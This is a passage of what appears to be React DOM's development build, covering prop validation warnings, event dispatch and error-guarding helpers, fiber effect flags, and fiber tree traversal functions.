3776 error('Received the string `%s` for the boolean attribute `%s`. ' + '%s ' + 'Did you mean %s={%s}?', value, name, value === 'false' ? 'The browser will interpret it as a truthy value.' : 'Although this works, it will not work as expected if you pass the string "false".', name, value);
3777
3778 warnedProperties$1[name] = true;
3779 return true;
3780 }
3781
3782 return true;
3783 };
3784 }
3785
3786 var warnUnknownProperties = function (type, props, eventRegistry) {
3787 {
3788 var unknownProps = [];
3789
3790 for (var key in props) {
3791 var isValid = validateProperty$1(type, key, props[key], eventRegistry);
3792
3793 if (!isValid) {
3794 unknownProps.push(key);
3795 }
3796 }
3797
3798 var unknownPropString = unknownProps.map(function (prop) {
3799 return '`' + prop + '`';
3800 }).join(', ');
3801
3802 if (unknownProps.length === 1) {
3803 error('Invalid value for prop %s on <%s> tag. Either remove it from the element, ' + 'or pass a string or number value to keep it in the DOM. ' + 'For details, see https://reactjs.org/link/attribute-behavior ', unknownPropString, type);
3804 } else if (unknownProps.length > 1) {
3805 error('Invalid values for props %s on <%s> tag. Either remove them from the element, ' + 'or pass a string or number value to keep them in the DOM. ' + 'For details, see https://reactjs.org/link/attribute-behavior ', unknownPropString, type);
3806 }
3807 }
3808 };
3809
3810 function validateProperties$2(type, props, eventRegistry) {
3811 if (isCustomComponent(type, props)) {
3812 return;
3813 }
3814
3815 warnUnknownProperties(type, props, eventRegistry);
3816 }
3817
3818 var IS_EVENT_HANDLE_NON_MANAGED_NODE = 1;
3819 var IS_NON_DELEGATED = 1 << 1;
3820 var IS_CAPTURE_PHASE = 1 << 2;
3821 // set to LEGACY_FB_SUPPORT. LEGACY_FB_SUPPORT only gets set when
3822 // we call willDeferLaterForLegacyFBSupport, thus not bailing out
3823 // will result in endless cycles like an infinite loop.
3824 // We also don't want to defer during event replaying.
3825
3826 var SHOULD_NOT_PROCESS_POLYFILL_EVENT_PLUGINS = IS_EVENT_HANDLE_NON_MANAGED_NODE | IS_NON_DELEGATED | IS_CAPTURE_PHASE;
3827
3828 // This exists to avoid circular dependency between ReactDOMEventReplaying
3829 // and DOMPluginEventSystem.
3830 var currentReplayingEvent = null;
3831 function setReplayingEvent(event) {
3832 {
3833 if (currentReplayingEvent !== null) {
3834 error('Expected currently replaying event to be null. This error ' + 'is likely caused by a bug in React. Please file an issue.');
3835 }
3836 }
3837
3838 currentReplayingEvent = event;
3839 }
3840 function resetReplayingEvent() {
3841 {
3842 if (currentReplayingEvent === null) {
3843 error('Expected currently replaying event to not be null. This error ' + 'is likely caused by a bug in React. Please file an issue.');
3844 }
3845 }
3846
3847 currentReplayingEvent = null;
3848 }
3849 function isReplayingEvent(event) {
3850 return event === currentReplayingEvent;
3851 }
3852
3853 /**
3854 * Gets the target node from a native browser event by accounting for
3855 * inconsistencies in browser DOM APIs.
3856 *
3857 * @param {object} nativeEvent Native browser event.
3858 * @return {DOMEventTarget} Target node.
3859 */
3860
3861 function getEventTarget(nativeEvent) {
3862 // Fallback to nativeEvent.srcElement for IE9
3863 // https://github.com/facebook/react/issues/12506
3864 var target = nativeEvent.target || nativeEvent.srcElement || window; // Normalize SVG <use> element events #4963
3865
3866 if (target.correspondingUseElement) {
3867 target = target.correspondingUseElement;
3868 } // Safari may fire events on text nodes (Node.TEXT_NODE is 3).
3869 // @see http://www.quirksmode.org/js/events_properties.html
3870
3871
3872 return target.nodeType === TEXT_NODE ? target.parentNode : target;
3873 }
3874
3875 var restoreImpl = null;
3876 var restoreTarget = null;
3877 var restoreQueue = null;
3878
3879 function restoreStateOfTarget(target) {
3880 // We perform this translation at the end of the event loop so that we
3881 // always receive the correct fiber here
3882 var internalInstance = getInstanceFromNode(target);
3883
3884 if (!internalInstance) {
3885 // Unmounted
3886 return;
3887 }
3888
3889 if (typeof restoreImpl !== 'function') {
3890 throw new Error('setRestoreImplementation() needs to be called to handle a target for controlled ' + 'events. This error is likely caused by a bug in React. Please file an issue.');
3891 }
3892
3893 var stateNode = internalInstance.stateNode; // Guard against Fiber being unmounted.
3894
3895 if (stateNode) {
3896 var _props = getFiberCurrentPropsFromNode(stateNode);
3897
3898 restoreImpl(internalInstance.stateNode, internalInstance.type, _props);
3899 }
3900 }
3901
3902 function setRestoreImplementation(impl) {
3903 restoreImpl = impl;
3904 }
3905 function enqueueStateRestore(target) {
3906 if (restoreTarget) {
3907 if (restoreQueue) {
3908 restoreQueue.push(target);
3909 } else {
3910 restoreQueue = [target];
3911 }
3912 } else {
3913 restoreTarget = target;
3914 }
3915 }
3916 function needsStateRestore() {
3917 return restoreTarget !== null || restoreQueue !== null;
3918 }
3919 function restoreStateIfNeeded() {
3920 if (!restoreTarget) {
3921 return;
3922 }
3923
3924 var target = restoreTarget;
3925 var queuedTargets = restoreQueue;
3926 restoreTarget = null;
3927 restoreQueue = null;
3928 restoreStateOfTarget(target);
3929
3930 if (queuedTargets) {
3931 for (var i = 0; i < queuedTargets.length; i++) {
3932 restoreStateOfTarget(queuedTargets[i]);
3933 }
3934 }
3935 }
3936
3937 // the renderer. Such as when we're dispatching events or if third party
3938 // libraries need to call batchedUpdates. Eventually, this API will go away when
3939 // everything is batched by default. We'll then have a similar API to opt-out of
3940 // scheduled work and instead do synchronous work.
3941 // Defaults
3942
3943 var batchedUpdatesImpl = function (fn, bookkeeping) {
3944 return fn(bookkeeping);
3945 };
3946
3947 var flushSyncImpl = function () {};
3948
3949 var isInsideEventHandler = false;
3950
3951 function finishEventHandler() {
3952 // Here we wait until all updates have propagated, which is important
3953 // when using controlled components within layers:
3954 // https://github.com/facebook/react/issues/1698
3955 // Then we restore state of any controlled component.
3956 var controlledComponentsHavePendingUpdates = needsStateRestore();
3957
3958 if (controlledComponentsHavePendingUpdates) {
3959 // If a controlled event was fired, we may need to restore the state of
3960 // the DOM node back to the controlled value. This is necessary when React
3961 // bails out of the update without touching the DOM.
3962 // TODO: Restore state in the microtask, after the discrete updates flush,
3963 // instead of early flushing them here.
3964 flushSyncImpl();
3965 restoreStateIfNeeded();
3966 }
3967 }
3968
3969 function batchedUpdates(fn, a, b) {
3970 if (isInsideEventHandler) {
3971 // If we are currently inside another batch, we need to wait until it
3972 // fully completes before restoring state.
3973 return fn(a, b);
3974 }
3975
3976 isInsideEventHandler = true;
3977
3978 try {
3979 return batchedUpdatesImpl(fn, a, b);
3980 } finally {
3981 isInsideEventHandler = false;
3982 finishEventHandler();
3983 }
3984 } // TODO: Replace with flushSync
3985 function setBatchingImplementation(_batchedUpdatesImpl, _discreteUpdatesImpl, _flushSyncImpl) {
3986 batchedUpdatesImpl = _batchedUpdatesImpl;
3987 flushSyncImpl = _flushSyncImpl;
3988 }
3989
3990 function isInteractive(tag) {
3991 return tag === 'button' || tag === 'input' || tag === 'select' || tag === 'textarea';
3992 }
3993
3994 function shouldPreventMouseEvent(name, type, props) {
3995 switch (name) {
3996 case 'onClick':
3997 case 'onClickCapture':
3998 case 'onDoubleClick':
3999 case 'onDoubleClickCapture':
4000 case 'onMouseDown':
4001 case 'onMouseDownCapture':
4002 case 'onMouseMove':
4003 case 'onMouseMoveCapture':
4004 case 'onMouseUp':
4005 case 'onMouseUpCapture':
4006 case 'onMouseEnter':
4007 return !!(props.disabled && isInteractive(type));
4008
4009 default:
4010 return false;
4011 }
4012 }
4013 /**
4014 * @param {object} inst The instance, which is the source of events.
4015 * @param {string} registrationName Name of listener (e.g. `onClick`).
4016 * @return {?function} The stored callback.
4017 */
4018
4019
4020 function getListener(inst, registrationName) {
4021 var stateNode = inst.stateNode;
4022
4023 if (stateNode === null) {
4024 // Work in progress (ex: onload events in incremental mode).
4025 return null;
4026 }
4027
4028 var props = getFiberCurrentPropsFromNode(stateNode);
4029
4030 if (props === null) {
4031 // Work in progress.
4032 return null;
4033 }
4034
4035 var listener = props[registrationName];
4036
4037 if (shouldPreventMouseEvent(registrationName, inst.type, props)) {
4038 return null;
4039 }
4040
4041 if (listener && typeof listener !== 'function') {
4042 throw new Error("Expected `" + registrationName + "` listener to be a function, instead got a value of `" + typeof listener + "` type.");
4043 }
4044
4045 return listener;
4046 }
4047
4048 var passiveBrowserEventsSupported = false; // Check if browser support events with passive listeners
4049 // https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#Safely_detecting_option_support
4050
4051 if (canUseDOM) {
4052 try {
4053 var options = {}; // $FlowFixMe: Ignore Flow complaining about needing a value
4054
4055 Object.defineProperty(options, 'passive', {
4056 get: function () {
4057 passiveBrowserEventsSupported = true;
4058 }
4059 });
4060 window.addEventListener('test', options, options);
4061 window.removeEventListener('test', options, options);
4062 } catch (e) {
4063 passiveBrowserEventsSupported = false;
4064 }
4065 }
4066
4067 function invokeGuardedCallbackProd(name, func, context, a, b, c, d, e, f) {
4068 var funcArgs = Array.prototype.slice.call(arguments, 3);
4069
4070 try {
4071 func.apply(context, funcArgs);
4072 } catch (error) {
4073 this.onError(error);
4074 }
4075 }
4076
4077 var invokeGuardedCallbackImpl = invokeGuardedCallbackProd;
4078
4079 {
4080 // In DEV mode, we swap out invokeGuardedCallback for a special version
4081 // that plays more nicely with the browser's DevTools. The idea is to preserve
4082 // "Pause on exceptions" behavior. Because React wraps all user-provided
4083 // functions in invokeGuardedCallback, and the production version of
4084 // invokeGuardedCallback uses a try-catch, all user exceptions are treated
4085 // like caught exceptions, and the DevTools won't pause unless the developer
4086 // takes the extra step of enabling pause on caught exceptions. This is
4087 // unintuitive, though, because even though React has caught the error, from
4088 // the developer's perspective, the error is uncaught.
4089 //
4090 // To preserve the expected "Pause on exceptions" behavior, we don't use a
4091 // try-catch in DEV. Instead, we synchronously dispatch a fake event to a fake
4092 // DOM node, and call the user-provided callback from inside an event handler
4093 // for that fake event. If the callback throws, the error is "captured" using
4094 // a global event handler. But because the error happens in a different
4095 // event loop context, it does not interrupt the normal program flow.
4096 // Effectively, this gives us try-catch behavior without actually using
4097 // try-catch. Neat!
4098 // Check that the browser supports the APIs we need to implement our special
4099 // DEV version of invokeGuardedCallback
4100 if (typeof window !== 'undefined' && typeof window.dispatchEvent === 'function' && typeof document !== 'undefined' && typeof document.createEvent === 'function') {
4101 var fakeNode = document.createElement('react');
4102
4103 invokeGuardedCallbackImpl = function invokeGuardedCallbackDev(name, func, context, a, b, c, d, e, f) {
4104 // If document doesn't exist we know for sure we will crash in this method
4105 // when we call document.createEvent(). However this can cause confusing
4106 // errors: https://github.com/facebook/create-react-app/issues/3482
4107 // So we preemptively throw with a better message instead.
4108 if (typeof document === 'undefined' || document === null) {
4109 throw new Error('The `document` global was defined when React was initialized, but is not ' + 'defined anymore. This can happen in a test environment if a component ' + 'schedules an update from an asynchronous callback, but the test has already ' + 'finished running. To solve this, you can either unmount the component at ' + 'the end of your test (and ensure that any asynchronous operations get ' + 'canceled in `componentWillUnmount`), or you can change the test itself ' + 'to be asynchronous.');
4110 }
4111
4112 var evt = document.createEvent('Event');
4113 var didCall = false; // Keeps track of whether the user-provided callback threw an error. We
4114 // set this to true at the beginning, then set it to false right after
4115 // calling the function. If the function errors, `didError` will never be
4116 // set to false. This strategy works even if the browser is flaky and
4117 // fails to call our global error handler, because it doesn't rely on
4118 // the error event at all.
4119
4120 var didError = true; // Keeps track of the value of window.event so that we can reset it
4121 // during the callback to let user code access window.event in the
4122 // browsers that support it.
4123
4124 var windowEvent = window.event; // Keeps track of the descriptor of window.event to restore it after event
4125 // dispatching: https://github.com/facebook/react/issues/13688
4126
4127 var windowEventDescriptor = Object.getOwnPropertyDescriptor(window, 'event');
4128
4129 function restoreAfterDispatch() {
4130 // We immediately remove the callback from event listeners so that
4131 // nested `invokeGuardedCallback` calls do not clash. Otherwise, a
4132 // nested call would trigger the fake event handlers of any call higher
4133 // in the stack.
4134 fakeNode.removeEventListener(evtType, callCallback, false); // We check for window.hasOwnProperty('event') to prevent the
4135 // window.event assignment in both IE <= 10 as they throw an error
4136 // "Member not found" in strict mode, and in Firefox which does not
4137 // support window.event.
4138
4139 if (typeof window.event !== 'undefined' && window.hasOwnProperty('event')) {
4140 window.event = windowEvent;
4141 }
4142 } // Create an event handler for our fake event. We will synchronously
4143 // dispatch our fake event using `dispatchEvent`. Inside the handler, we
4144 // call the user-provided callback.
4145
4146
4147 var funcArgs = Array.prototype.slice.call(arguments, 3);
4148
4149 function callCallback() {
4150 didCall = true;
4151 restoreAfterDispatch();
4152 func.apply(context, funcArgs);
4153 didError = false;
4154 } // Create a global error event handler. We use this to capture the value
4155 // that was thrown. It's possible that this error handler will fire more
4156 // than once; for example, if non-React code also calls `dispatchEvent`
4157 // and a handler for that event throws. We should be resilient to most of
4158 // those cases. Even if our error event handler fires more than once, the
4159 // last error event is always used. If the callback actually does error,
4160 // we know that the last error event is the correct one, because it's not
4161 // possible for anything else to have happened in between our callback
4162 // erroring and the code that follows the `dispatchEvent` call below. If
4163 // the callback doesn't error, but the error event was fired, we know to
4164 // ignore it because `didError` will be false, as described above.
4165
4166
4167 var error; // Use this to track whether the error event is ever called.
4168
4169 var didSetError = false;
4170 var isCrossOriginError = false;
4171
4172 function handleWindowError(event) {
4173 error = event.error;
4174 didSetError = true;
4175
4176 if (error === null && event.colno === 0 && event.lineno === 0) {
4177 isCrossOriginError = true;
4178 }
4179
4180 if (event.defaultPrevented) {
4181 // Some other error handler has prevented default.
4182 // Browsers silence the error report if this happens.
4183 // We'll remember this to later decide whether to log it or not.
4184 if (error != null && typeof error === 'object') {
4185 try {
4186 error._suppressLogging = true;
4187 } catch (inner) {// Ignore.
4188 }
4189 }
4190 }
4191 } // Create a fake event type.
4192
4193
4194 var evtType = "react-" + (name ? name : 'invokeguardedcallback'); // Attach our event handlers
4195
4196 window.addEventListener('error', handleWindowError);
4197 fakeNode.addEventListener(evtType, callCallback, false); // Synchronously dispatch our fake event. If the user-provided function
4198 // errors, it will trigger our global error handler.
4199
4200 evt.initEvent(evtType, false, false);
4201 fakeNode.dispatchEvent(evt);
4202
4203 if (windowEventDescriptor) {
4204 Object.defineProperty(window, 'event', windowEventDescriptor);
4205 }
4206
4207 if (didCall && didError) {
4208 if (!didSetError) {
4209 // The callback errored, but the error event never fired.
4210 // eslint-disable-next-line react-internal/prod-error-codes
4211 error = new Error('An error was thrown inside one of your components, but React ' + "doesn't know what it was. This is likely due to browser " + 'flakiness. React does its best to preserve the "Pause on ' + 'exceptions" behavior of the DevTools, which requires some ' + "DEV-mode only tricks. It's possible that these don't work in " + 'your browser. Try triggering the error in production mode, ' + 'or switching to a modern browser. If you suspect that this is ' + 'actually an issue with React, please file an issue.');
4212 } else if (isCrossOriginError) {
4213 // eslint-disable-next-line react-internal/prod-error-codes
4214 error = new Error("A cross-origin error was thrown. React doesn't have access to " + 'the actual error object in development. ' + 'See https://reactjs.org/link/crossorigin-error for more information.');
4215 }
4216
4217 this.onError(error);
4218 } // Remove our event listeners
4219
4220
4221 window.removeEventListener('error', handleWindowError);
4222
4223 if (!didCall) {
4224 // Something went really wrong, and our event was not dispatched.
4225 // https://github.com/facebook/react/issues/16734
4226 // https://github.com/facebook/react/issues/16585
4227 // Fall back to the production implementation.
4228 restoreAfterDispatch();
4229 return invokeGuardedCallbackProd.apply(this, arguments);
4230 }
4231 };
4232 }
4233 }
4234
4235 var invokeGuardedCallbackImpl$1 = invokeGuardedCallbackImpl;
4236
4237 var hasError = false;
4238 var caughtError = null; // Used by event system to capture/rethrow the first error.
4239
4240 var hasRethrowError = false;
4241 var rethrowError = null;
4242 var reporter = {
4243 onError: function (error) {
4244 hasError = true;
4245 caughtError = error;
4246 }
4247 };
4248 /**
4249 * Call a function while guarding against errors that happens within it.
4250 * Returns an error if it throws, otherwise null.
4251 *
4252 * In production, this is implemented using a try-catch. The reason we don't
4253 * use a try-catch directly is so that we can swap out a different
4254 * implementation in DEV mode.
4255 *
4256 * @param {String} name of the guard to use for logging or debugging
4257 * @param {Function} func The function to invoke
4258 * @param {*} context The context to use when calling the function
4259 * @param {...*} args Arguments for function
4260 */
4261
4262 function invokeGuardedCallback(name, func, context, a, b, c, d, e, f) {
4263 hasError = false;
4264 caughtError = null;
4265 invokeGuardedCallbackImpl$1.apply(reporter, arguments);
4266 }
4267 /**
4268 * Same as invokeGuardedCallback, but instead of returning an error, it stores
4269 * it in a global so it can be rethrown by `rethrowCaughtError` later.
4270 * TODO: See if caughtError and rethrowError can be unified.
4271 *
4272 * @param {String} name of the guard to use for logging or debugging
4273 * @param {Function} func The function to invoke
4274 * @param {*} context The context to use when calling the function
4275 * @param {...*} args Arguments for function
4276 */
4277
4278 function invokeGuardedCallbackAndCatchFirstError(name, func, context, a, b, c, d, e, f) {
4279 invokeGuardedCallback.apply(this, arguments);
4280
4281 if (hasError) {
4282 var error = clearCaughtError();
4283
4284 if (!hasRethrowError) {
4285 hasRethrowError = true;
4286 rethrowError = error;
4287 }
4288 }
4289 }
4290 /**
4291 * During execution of guarded functions we will capture the first error which
4292 * we will rethrow to be handled by the top level error handler.
4293 */
4294
4295 function rethrowCaughtError() {
4296 if (hasRethrowError) {
4297 var error = rethrowError;
4298 hasRethrowError = false;
4299 rethrowError = null;
4300 throw error;
4301 }
4302 }
4303 function hasCaughtError() {
4304 return hasError;
4305 }
4306 function clearCaughtError() {
4307 if (hasError) {
4308 var error = caughtError;
4309 hasError = false;
4310 caughtError = null;
4311 return error;
4312 } else {
4313 throw new Error('clearCaughtError was called but no error was captured. This error ' + 'is likely caused by a bug in React. Please file an issue.');
4314 }
4315 }
4316
4317 var ReactInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
4318 var _ReactInternals$Sched = ReactInternals.Scheduler,
4319 unstable_cancelCallback = _ReactInternals$Sched.unstable_cancelCallback,
4320 unstable_now = _ReactInternals$Sched.unstable_now,
4321 unstable_scheduleCallback = _ReactInternals$Sched.unstable_scheduleCallback,
4322 unstable_shouldYield = _ReactInternals$Sched.unstable_shouldYield,
4323 unstable_requestPaint = _ReactInternals$Sched.unstable_requestPaint,
4324 unstable_getFirstCallbackNode = _ReactInternals$Sched.unstable_getFirstCallbackNode,
4325 unstable_runWithPriority = _ReactInternals$Sched.unstable_runWithPriority,
4326 unstable_next = _ReactInternals$Sched.unstable_next,
4327 unstable_continueExecution = _ReactInternals$Sched.unstable_continueExecution,
4328 unstable_pauseExecution = _ReactInternals$Sched.unstable_pauseExecution,
4329 unstable_getCurrentPriorityLevel = _ReactInternals$Sched.unstable_getCurrentPriorityLevel,
4330 unstable_ImmediatePriority = _ReactInternals$Sched.unstable_ImmediatePriority,
4331 unstable_UserBlockingPriority = _ReactInternals$Sched.unstable_UserBlockingPriority,
4332 unstable_NormalPriority = _ReactInternals$Sched.unstable_NormalPriority,
4333 unstable_LowPriority = _ReactInternals$Sched.unstable_LowPriority,
4334 unstable_IdlePriority = _ReactInternals$Sched.unstable_IdlePriority,
4335 unstable_forceFrameRate = _ReactInternals$Sched.unstable_forceFrameRate,
4336 unstable_flushAllWithoutAsserting = _ReactInternals$Sched.unstable_flushAllWithoutAsserting,
4337 unstable_yieldValue = _ReactInternals$Sched.unstable_yieldValue,
4338 unstable_setDisableYieldValue = _ReactInternals$Sched.unstable_setDisableYieldValue;
4339
4340 /**
4341 * `ReactInstanceMap` maintains a mapping from a public facing stateful
4342 * instance (key) and the internal representation (value). This allows public
4343 * methods to accept the user facing instance as an argument and map them back
4344 * to internal methods.
4345 *
4346 * Note that this module is currently shared and assumed to be stateless.
4347 * If this becomes an actual Map, that will break.
4348 */
4349 function get(key) {
4350 return key._reactInternals;
4351 }
4352 function has(key) {
4353 return key._reactInternals !== undefined;
4354 }
4355 function set(key, value) {
4356 key._reactInternals = value;
4357 }
4358
4359 // Don't change these two values. They're used by React Dev Tools.
4360 var NoFlags =
4361 /* */
4362 0;
4363 var PerformedWork =
4364 /* */
4365 1; // You can change the rest (and add more).
4366
4367 var Placement =
4368 /* */
4369 2;
4370 var Update =
4371 /* */
4372 4;
4373 var ChildDeletion =
4374 /* */
4375 16;
4376 var ContentReset =
4377 /* */
4378 32;
4379 var Callback =
4380 /* */
4381 64;
4382 var DidCapture =
4383 /* */
4384 128;
4385 var ForceClientRender =
4386 /* */
4387 256;
4388 var Ref =
4389 /* */
4390 512;
4391 var Snapshot =
4392 /* */
4393 1024;
4394 var Passive =
4395 /* */
4396 2048;
4397 var Hydrating =
4398 /* */
4399 4096;
4400 var Visibility =
4401 /* */
4402 8192;
4403 var StoreConsistency =
4404 /* */
4405 16384;
4406 var LifecycleEffectMask = Passive | Update | Callback | Ref | Snapshot | StoreConsistency; // Union of all commit flags (flags with the lifetime of a particular commit)
4407
4408 var HostEffectMask =
4409 /* */
4410 32767; // These are not really side effects, but we still reuse this field.
4411
4412 var Incomplete =
4413 /* */
4414 32768;
4415 var ShouldCapture =
4416 /* */
4417 65536;
4418 var ForceUpdateForLegacySuspense =
4419 /* */
4420 131072;
4421 var Forked =
4422 /* */
4423 1048576; // Static tags describe aspects of a fiber that are not specific to a render,
4424 // e.g. a fiber uses a passive effect (even if there are no updates on this particular render).
4425 // This enables us to defer more work in the unmount case,
4426 // since we can defer traversing the tree during layout to look for Passive effects,
4427 // and instead rely on the static flag as a signal that there may be cleanup work.
4428
4429 var RefStatic =
4430 /* */
4431 2097152;
4432 var LayoutStatic =
4433 /* */
4434 4194304;
4435 var PassiveStatic =
4436 /* */
4437 8388608; // These flags allow us to traverse to fibers that have effects on mount
4438 // without traversing the entire tree after every commit for
4439 // double invoking
4440
4441 var MountLayoutDev =
4442 /* */
4443 16777216;
4444 var MountPassiveDev =
4445 /* */
4446 33554432; // Groups of flags that are used in the commit phase to skip over trees that
4447 // don't contain effects, by checking subtreeFlags.
4448
4449 var BeforeMutationMask = // TODO: Remove Update flag from before mutation phase by re-landing Visibility
4450 // flag logic (see #20043)
4451 Update | Snapshot | ( 0);
4452 var MutationMask = Placement | Update | ChildDeletion | ContentReset | Ref | Hydrating | Visibility;
4453 var LayoutMask = Update | Callback | Ref | Visibility; // TODO: Split into PassiveMountMask and PassiveUnmountMask
4454
4455 var PassiveMask = Passive | ChildDeletion; // Union of tags that don't get reset on clones.
4456 // This allows certain concepts to persist without recalculating them,
4457 // e.g. whether a subtree contains passive effects or portals.
4458
4459 var StaticMask = LayoutStatic | PassiveStatic | RefStatic;
4460
4461 var ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;
4462 function getNearestMountedFiber(fiber) {
4463 var node = fiber;
4464 var nearestMounted = fiber;
4465
4466 if (!fiber.alternate) {
4467 // If there is no alternate, this might be a new tree that isn't inserted
4468 // yet. If it is, then it will have a pending insertion effect on it.
4469 var nextNode = node;
4470
4471 do {
4472 node = nextNode;
4473
4474 if ((node.flags & (Placement | Hydrating)) !== NoFlags) {
4475 // This is an insertion or in-progress hydration. The nearest possible
4476 // mounted fiber is the parent but we need to continue to figure out
4477 // if that one is still mounted.
4478 nearestMounted = node.return;
4479 }
4480
4481 nextNode = node.return;
4482 } while (nextNode);
4483 } else {
4484 while (node.return) {
4485 node = node.return;
4486 }
4487 }
4488
4489 if (node.tag === HostRoot) {
4490 // TODO: Check if this was a nested HostRoot when used with
4491 // renderContainerIntoSubtree.
4492 return nearestMounted;
4493 } // If we didn't hit the root, that means that we're in an disconnected tree
4494 // that has been unmounted.
4495
4496
4497 return null;
4498 }
4499 function getSuspenseInstanceFromFiber(fiber) {
4500 if (fiber.tag === SuspenseComponent) {
4501 var suspenseState = fiber.memoizedState;
4502
4503 if (suspenseState === null) {
4504 var current = fiber.alternate;
4505
4506 if (current !== null) {
4507 suspenseState = current.memoizedState;
4508 }
4509 }
4510
4511 if (suspenseState !== null) {
4512 return suspenseState.dehydrated;
4513 }
4514 }
4515
4516 return null;
4517 }
4518 function getContainerFromFiber(fiber) {
4519 return fiber.tag === HostRoot ? fiber.stateNode.containerInfo : null;
4520 }
4521 function isFiberMounted(fiber) {
4522 return getNearestMountedFiber(fiber) === fiber;
4523 }
4524 function isMounted(component) {
4525 {
4526 var owner = ReactCurrentOwner.current;
4527
4528 if (owner !== null && owner.tag === ClassComponent) {
4529 var ownerFiber = owner;
4530 var instance = ownerFiber.stateNode;
4531
4532 if (!instance._warnedAboutRefsInRender) {
4533 error('%s is accessing isMounted inside its render() function. ' + 'render() should be a pure function of props and state. It should ' + 'never access something that requires stale data from the previous ' + 'render, such as refs. Move this logic to componentDidMount and ' + 'componentDidUpdate instead.', getComponentNameFromFiber(ownerFiber) || 'A component');
4534 }
4535
4536 instance._warnedAboutRefsInRender = true;
4537 }
4538 }
4539
4540 var fiber = get(component);
4541
4542 if (!fiber) {
4543 return false;
4544 }
4545
4546 return getNearestMountedFiber(fiber) === fiber;
4547 }
4548
4549 function assertIsMounted(fiber) {
4550 if (getNearestMountedFiber(fiber) !== fiber) {
4551 throw new Error('Unable to find node on an unmounted component.');
4552 }
4553 }
4554
4555 function findCurrentFiberUsingSlowPath(fiber) {
4556 var alternate = fiber.alternate;
4557
4558 if (!alternate) {
4559 // If there is no alternate, then we only need to check if it is mounted.
4560 var nearestMounted = getNearestMountedFiber(fiber);
4561
4562 if (nearestMounted === null) {
4563 throw new Error('Unable to find node on an unmounted component.');
4564 }
4565
4566 if (nearestMounted !== fiber) {
4567 return null;
4568 }
4569
4570 return fiber;
4571 } // If we have two possible branches, we'll walk backwards up to the root
4572 // to see what path the root points to. On the way we may hit one of the
4573 // special cases and we'll deal with them.
4574
4575
4576 var a = fiber;
4577 var b = alternate;
4578
4579 while (true) {
4580 var parentA = a.return;
4581
4582 if (parentA === null) {
4583 // We're at the root.
4584 break;
4585 }
4586
4587 var parentB = parentA.alternate;
4588
4589 if (parentB === null) {
4590 // There is no alternate. This is an unusual case. Currently, it only
4591 // happens when a Suspense component is hidden. An extra fragment fiber
4592 // is inserted in between the Suspense fiber and its children. Skip
4593 // over this extra fragment fiber and proceed to the next parent.
4594 var nextParent = parentA.return;
4595
4596 if (nextParent !== null) {
4597 a = b = nextParent;
4598 continue;
4599 } // If there's no parent, we're at the root.
4600
4601
4602 break;
4603 } // If both copies of the parent fiber point to the same child, we can
4604 // assume that the child is current. This happens when we bailout on low
4605 // priority: the bailed out fiber's child reuses the current child.
4606
4607
4608 if (parentA.child === parentB.child) {
4609 var child = parentA.child;
4610
4611 while (child) {
4612 if (child === a) {
4613 // We've determined that A is the current branch.
4614 assertIsMounted(parentA);
4615 return fiber;
4616 }
4617
4618 if (child === b) {
4619 // We've determined that B is the current branch.
4620 assertIsMounted(parentA);
4621 return alternate;
4622 }
4623
4624 child = child.sibling;
4625 } // We should never have an alternate for any mounting node. So the only
4626 // way this could possibly happen is if this was unmounted, if at all.
4627
4628
4629 throw new Error('Unable to find node on an unmounted component.');
4630 }
4631
4632 if (a.return !== b.return) {
4633 // The return pointer of A and the return pointer of B point to different
4634 // fibers. We assume that return pointers never criss-cross, so A must
4635 // belong to the child set of A.return, and B must belong to the child
4636 // set of B.return.
4637 a = parentA;
4638 b = parentB;
4639 } else {
4640 // The return pointers point to the same fiber. We'll have to use the
4641 // default, slow path: scan the child sets of each parent alternate to see
4642 // which child belongs to which set.
4643 //
4644 // Search parent A's child set
4645 var didFindChild = false;
4646 var _child = parentA.child;
4647
4648 while (_child) {
4649 if (_child === a) {
4650 didFindChild = true;
4651 a = parentA;
4652 b = parentB;
4653 break;
4654 }
4655
4656 if (_child === b) {
4657 didFindChild = true;
4658 b = parentA;
4659 a = parentB;
4660 break;
4661 }
4662
4663 _child = _child.sibling;
4664 }
4665
4666 if (!didFindChild) {
4667 // Search parent B's child set
4668 _child = parentB.child;
4669
4670 while (_child) {
4671 if (_child === a) {
4672 didFindChild = true;
4673 a = parentB;
4674 b = parentA;
4675 break;
4676 }
4677
4678 if (_child === b) {
4679 didFindChild = true;
4680 b = parentB;
4681 a = parentA;
4682 break;
4683 }
4684
4685 _child = _child.sibling;
4686 }
4687
4688 if (!didFindChild) {
4689 throw new Error('Child was not found in either parent set. This indicates a bug ' + 'in React related to the return pointer. Please file an issue.');
4690 }
4691 }
4692 }
4693
4694 if (a.alternate !== b) {
4695 throw new Error("Return fibers should always be each others' alternates. " + 'This error is likely caused by a bug in React. Please file an issue.');
4696 }
4697 } // If the root is not a host container, we're in a disconnected tree. I.e.
4698 // unmounted.
4699
4700
4701 if (a.tag !== HostRoot) {
4702 throw new Error('Unable to find node on an unmounted component.');
4703 }
4704
4705 if (a.stateNode.current === a) {
4706 // We've determined that A is the current branch.
4707 return fiber;
4708 } // Otherwise B has to be current branch.
4709
4710
4711 return alternate;
4712 }
4713 function findCurrentHostFiber(parent) {
4714 var currentParent = findCurrentFiberUsingSlowPath(parent);
4715 return currentParent !== null ? findCurrentHostFiberImpl(currentParent) : null;
4716 }
4717
4718 function findCurrentHostFiberImpl(node) {
4719 // Next we'll drill down this component to find the first HostComponent/Text.
4720 if (node.tag === HostComponent || node.tag === HostText) {
4721 return node;
4722 }
4723
4724 var child = node.child;
4725
4726 while (child !== null) {
4727 var match = findCurrentHostFiberImpl(child);
4728
4729 if (match !== null) {
4730 return match;
4731 }
4732
4733 child = child.sibling;
4734 }
4735
4736 return null;
4737 }
4738
4739 function findCurrentHostFiberWithNoPortals(parent) {
4740 var currentParent = findCurrentFiberUsingSlowPath(parent);
4741 return currentParent !== null ? findCurrentHostFiberWithNoPortalsImpl(currentParent) : null;
4742 }
4743
4744 function findCurrentHostFiberWithNoPortalsImpl(node) {
4745 // Next we'll drill down this component to find the first HostComponent/Text.
4746 if (node.tag === HostComponent || node.tag === HostText) {
4747 return node;
4748 }
4749
4750 var child = node.child;
4751
4752 while (child !== null) {
4753 if (child.tag !== HostPortal) {
4754 var match = findCurrentHostFiberWithNoPortalsImpl(child);
4755
4756 if (match !== null) {
4757 return match;
4758 }
4759 }
4760
4761 child = child.sibling;
4762 }
4763
4764 return null;
4765 }
4766
